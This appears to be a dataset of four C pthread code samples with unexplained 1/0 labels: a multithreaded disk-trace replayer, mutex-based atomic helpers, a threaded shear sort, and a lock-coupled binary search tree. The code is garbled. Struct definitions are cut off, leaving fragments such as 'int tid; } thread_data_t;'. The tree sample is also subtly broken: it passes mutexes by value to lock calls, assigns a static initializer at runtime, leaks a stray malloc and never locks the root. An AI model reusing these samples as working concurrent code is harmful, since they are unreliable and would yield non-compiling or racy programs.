#include <pthread.h> static struct timeval begin_time; static long int late = 0; static pthread_mutex_t lock; static long int *temp; static struct setting setting; static struct record *records; static int fd; static int thread; static void trace_replay(void *arg) { struct timeval end_time, result_time, test_time; long int i; i = *(long int *)arg; *(long int *)arg += thread; char *buf; long long offset; long length; offset = records[i].offset; length = records[i].length; buf = (char *)malloc((length + 1) * sizeof(char)); if (buf == 0) { debug_puts("MEMORY ERROR"); return ; } gettimeofday(&end_time, 0); timersub(&end_time, &begin_time, &result_time); timersub(&records[i].time, &result_time, &test_time); do { if (test_time.tv_sec < 0) { pthread_mutex_lock(&lock); late++; pthread_mutex_unlock(&lock); gettimeofday(&end_time, 0); timersub(&end_time, &begin_time, &result_time); records[i].time.tv_sec = result_time.tv_sec; records[i].time.tv_usec = result_time.tv_usec; break; } if (test_time.tv_sec != 0) { sleep(test_time.tv_sec); } if (test_time.tv_usec >= 0) { usleep(test_time.tv_usec); } } while(0); lseek(fd, offset, 0); read(fd, buf, length); gettimeofday(&end_time, 0); timersub(&end_time, &begin_time, &result_time); timersub(&result_time, &records[i].time, &records[i].res_time); free(buf); } int main(int argc, const char *argv[]) { long int i, usec, ret=0; threadpool_t *pool; struct timeval total_time; long int fraction[7]; FILE *p; char command[256]; char po[20]; int end = 1; total_time.tv_sec = total_time.tv_usec = 0; ret = init_conf(&setting); thread = setting.threads_num; if(ret) { debug_puts("INIT SETTING ERROR"); return -1; } temp = (long int *)malloc((thread) * sizeof(long int)); if (0 == temp) { debug_puts("MEMORY ERROR"); return -1; } records = (struct record *)malloc((setting.records_num) * sizeof(struct record)); if (0 == records) { debug_puts("MEMORY ERROR"); return -1; } for (i = 0; i < 7; i++) { fraction[i] = 0; } for (i = 0; i < thread; i++) { temp[i] = i; } init_rec_array(setting, records); pthread_mutex_init(&lock, 0); pool = threadpool_init(setting.threads_num, setting.pool_size, 0); if(!pool) { return -1; } fd = open(setting.location, O_RDONLY); if (fd == -1) { debug_puts("DISK ERROR"); return -1; } printf("Init over... Start trace play. Begin time is Beijing time:"); time_t p_time = time(0); printf("%s", ctime(&p_time)); snprintf(command, sizeof(command), "sed -n '%ld{p;q}' %s| awk 'BEGIN{FS=\\",\\"};{print $5}'", setting.records_num, setting.spc_loc); p = popen(command, "r"); fscanf(p, "%s", po); sscanf(po, "%d.%ld", &end, &i); if (end == 0) { end = 1; } printf("Program expect end in %ds\\n", end); fclose(p); gettimeofday(&begin_time, 0); for (i = 0; i < setting.records_num; i++) { ret = threadpool_add(pool, &trace_replay, (void *)&temp[i % thread], 0); if (ret) { debug_puts("TASK ADD ERROR"); break; } } sleep(1); threadpool_destroy(pool, 0); close(fd); printf("Trace play over, %ld traces are late.The IOPS is %d.Now calculate total response time.\\n", late, thread/end); for (i = 0; i < setting.records_num; i++) { timeradd(&total_time, &records[i].res_time, &total_time); usec = records[i].res_time.tv_usec; if ((usec / 5000) > 6) { fraction[6]++; }else { fraction[usec / 5000]++; } } printf("Play %ld traces in %ld.%06lds\\n", setting.records_num, total_time.tv_sec, total_time.tv_usec); printf("<5ms:%ld\\t10ms:%ld\\t15ms:%ld\\t20ms:%ld\\t25ms:%ld\\t30ms:%ld\\t>30ms:%ld\\n", fraction[0], fraction[1], fraction[2], fraction[3], fraction[4], fraction[5], fraction[6]); return 0; }
1
#include <pthread.h> static pthread_mutex_t atomic_mtx; static void atomic_init(void) { pthread_mutex_init(&atomic_mtx, 0); } uint64_t atomic_add_64_nv(volatile uint64_t *target, int64_t delta) { uint64_t newval; pthread_mutex_lock(&atomic_mtx); newval = (*target += delta); pthread_mutex_unlock(&atomic_mtx); return (newval); } uint8_t atomic_or_8_nv(volatile uint8_t *target, uint8_t value) { uint8_t newval; pthread_mutex_lock(&atomic_mtx); newval = (*target |= value); pthread_mutex_unlock(&atomic_mtx); return (newval); } uint64_t atomic_cas_64(volatile uint64_t *target, uint64_t cmp, uint64_t newval) { uint64_t oldval; pthread_mutex_lock(&atomic_mtx); oldval = *target; if (oldval == cmp) *target = newval; pthread_mutex_unlock(&atomic_mtx); return (oldval); } uint32_t atomic_cas_32(volatile uint32_t *target, uint32_t cmp, uint32_t newval) { uint32_t oldval; pthread_mutex_lock(&atomic_mtx); oldval = *target; if (oldval == cmp) *target = newval; pthread_mutex_unlock(&atomic_mtx); return (oldval); } void membar_producer(void) { }
0
#include <pthread.h> int tid; } thread_data_t; int matrix[4][4]; int done_count; sem_t delay[4]; pthread_mutex_t m; void swap(int *x, int *y); void shear_sort(void *arg); int main() { int i, j, num; pthread_t threads[4]; thread_data_t data[4]; FILE *fd = fopen("input.txt", "r"); for(i = 0; i < 4; i++) { for(j = 0; j < 4; j++) { if (fscanf(fd, "%d", &num) > 0){ matrix[i][j] = num; } else { printf("Failed to read NxN integers from input.txt\\n"); return -1; } } } printf("Before shear sort:\\n"); for(i = 0; i < 4; i++) { for(j = 0; j < 4; j++) { printf("%d ", matrix[i][j]); } printf("\\n"); } printf("\\n"); for (i = 0; i < 4; i++) sem_init(&delay[i], 0, 0); pthread_mutex_init(&m, 0); done_count = 0; for(i = 0; i < 4; i++) { data[i].tid = i; if ((num = pthread_create(&threads[i], 0, (void *) &shear_sort, (void *) &data[i]))){ fprintf(stderr, "Failed to create thread %d, error code:%d\\n", i, num); exit(-1); } else { printf("Spawned thread %d\\n", i); } } for(i = 0; i < 4; i++) { if ((num = pthread_join(threads[i], 0))){ fprintf(stderr, "Failed to join thread %d, error code:%d\\n", i, num); exit(-1); } else { printf("Joined thread %d\\n", i); } } for (i = 0; i < 4; i++) sem_destroy(&delay[i]); pthread_mutex_destroy(&m); printf("\\nAfter shear sort:\\n"); for(i = 0; i < 4; i++) { for(j = 0; j < 4; j++) { printf("%d ", matrix[i][j]); } printf("\\n"); } exit(0); } void shear_sort(void *arg) { int tid, phase, i, step, temp; tid = ((thread_data_t*) arg)->tid; phase = 1; while(phase <= 4 +1) { if (phase % 2 == 1) { if (tid % 2 == 0) { for (step = 0; step < 4 -1; step++) { for (i = 0; i < 4 -step-1; i++) { if (matrix[tid][i] > matrix[tid][i+1]) swap(&matrix[tid][i], &matrix[tid][i+1]); } } } else { for (step = 0; step < 4 -1; step++) { for (i = 0; i < 4 -step-1; i++) { if (matrix[tid][i] < matrix[tid][i+1]) swap(&matrix[tid][i], &matrix[tid][i+1]); } } } } else { for (step = 0; step < 4 -1; step++) { for (i = 0; i < 4 -step-1; i++) { if (matrix[i][tid] > matrix[i+1][tid]) swap(&matrix[i][tid], &matrix[i+1][tid]); } } } phase++; pthread_mutex_lock(&m); done_count++; if (done_count == 4){ while (done_count > 0){ done_count--; sem_post(&delay[done_count]); } } pthread_mutex_unlock(&m); printf("Thread %d: finished phase %d\\n", tid, phase-1); sem_wait(&delay[tid]); } pthread_exit(0); } void swap(int *x, int *y) { int temp = *x; *x = *y; *y = temp; }
1
#include <pthread.h> int value; struct tnode *left, *right; pthread_mutex_t m; } treeNode; treeNode *root; } treeRoot; void insert(treeRoot *tree, int val) { treeNode **tptr = &(tree->root); while (*tptr != 0){ if ((*tptr)->value == val) return; if ((*tptr)->value < val){ if((*tptr)->right != 0){ pthread_mutex_lock((*tptr)->right->m); pthread_mutex_unlock((*tptr)->m); } tptr = &((*tptr)->right); } else{ if((*tptr)->left != 0){ pthread_mutex_lock((*tptr)->left->m); pthread_mutex_unlock((*tptr)->m); } tptr = &((*tptr)->left); } } *tptr = (treeNode *)malloc(sizeof(treeNode)); malloc(sizeof(treeNode)); (*tptr)->value = val; (*tptr)->left = 0; (*tptr)->right = 0; (*tptr)->m = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_unlock((*tptr)->m); } void print(treeNode *t) { if (t == 0) return; print(t->left); printf("Value: %d\\n", t->value); print(t->right); } main() { int i; treeRoot t; t.root = 0; for (i=0; i<10; i++) { int v; scanf("%d", &v); insert(&t, v); print(t.root); } }
0